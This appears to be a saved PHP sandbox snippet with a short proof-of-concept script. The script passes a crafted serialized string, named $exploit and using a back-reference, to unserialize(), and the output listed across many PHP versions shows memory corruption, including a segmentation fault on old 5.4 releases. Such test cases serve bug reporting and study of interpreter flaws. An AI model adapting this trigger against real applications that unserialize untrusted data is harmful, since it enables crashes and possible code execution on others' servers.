@ 2015-10-23T23:03:10Z <?php
class obj implements Serializable
{
private $data;
public function serialize()
{
}
public function unserialize($data)
{
$this->data = unserialize($data);
$this->data = 1;
}
}
$inner = 'a:0:{}';
$exploit = 'a:2:{i:0;C:3:"obj":' . strlen($inner) . ':{' . $inner . '}i:1;R:3;}';
$data = unserialize($exploit);
var_dump($data);
Enable javascript to submit You have javascript disabled. You will not be able to edit any code.
Output for 8.1.0 - 8.1.28 , 8.2.0 - 8.2.18 , 8.3.0 - 8.3.6 Deprecated: obj implements the Serializable interface, which is deprecated. Implement __serialize() and __unserialize() instead (or in addition, if support for old PHP versions is necessary) in /in/N2EAI on line 2
array(2) {
[0]=>
object(obj)#1 (1) {
["data":"obj":private]=>
int(1)
}
[1]=>
array(0) {
}
}
Output for 5.4.45 , 5.5.29 - 5.5.35 , 5.6.13 - 5.6.28 , 7.0.20 , 7.1.0 - 7.1.20 , 7.2.0 - 7.2.33 , 7.3.16 - 7.3.33 , 7.4.0 - 7.4.33 , 8.0.0 - 8.0.30 array(2) {
[0]=>
object(obj)#1 (1) {
["data":"obj":private]=>
int(1)
}
[1]=>
array(0) {
}
}
Output for 7.0.0 - 7.0.6 array(2) {
[0]=>
object(obj)#1 (1) {
["data":"obj":private]=>
int(1)
}
[1]=>
&array(1) {
[" obj data"]=>
int(1)
}
}
Output for 5.4.39 - 5.4.44 , 5.5.24 - 5.5.28 , 5.6.7 - 5.6.12 array(2) {
[0]=>
object(obj)#1 (1) {
["data":"obj":private]=>
int(1)
}
[1]=>
NULL
}
Output for 5.4.9 - 5.4.38 array(2) {
[0]=>
object(obj)#1 (1) {
["data":"obj":private]=>
int(1)
}
[1]=>
&NULL
}
Output for 5.4.0 - 5.4.8 array(2) {
[0]=>
object(obj)#1 (1) {
["data":"obj":private]=>
int(1)
}
[1]=>
&array(49) {
Process exited with code 139 . preferences:dark mode live preview
211.85 ms | 401 KiB | 230 Q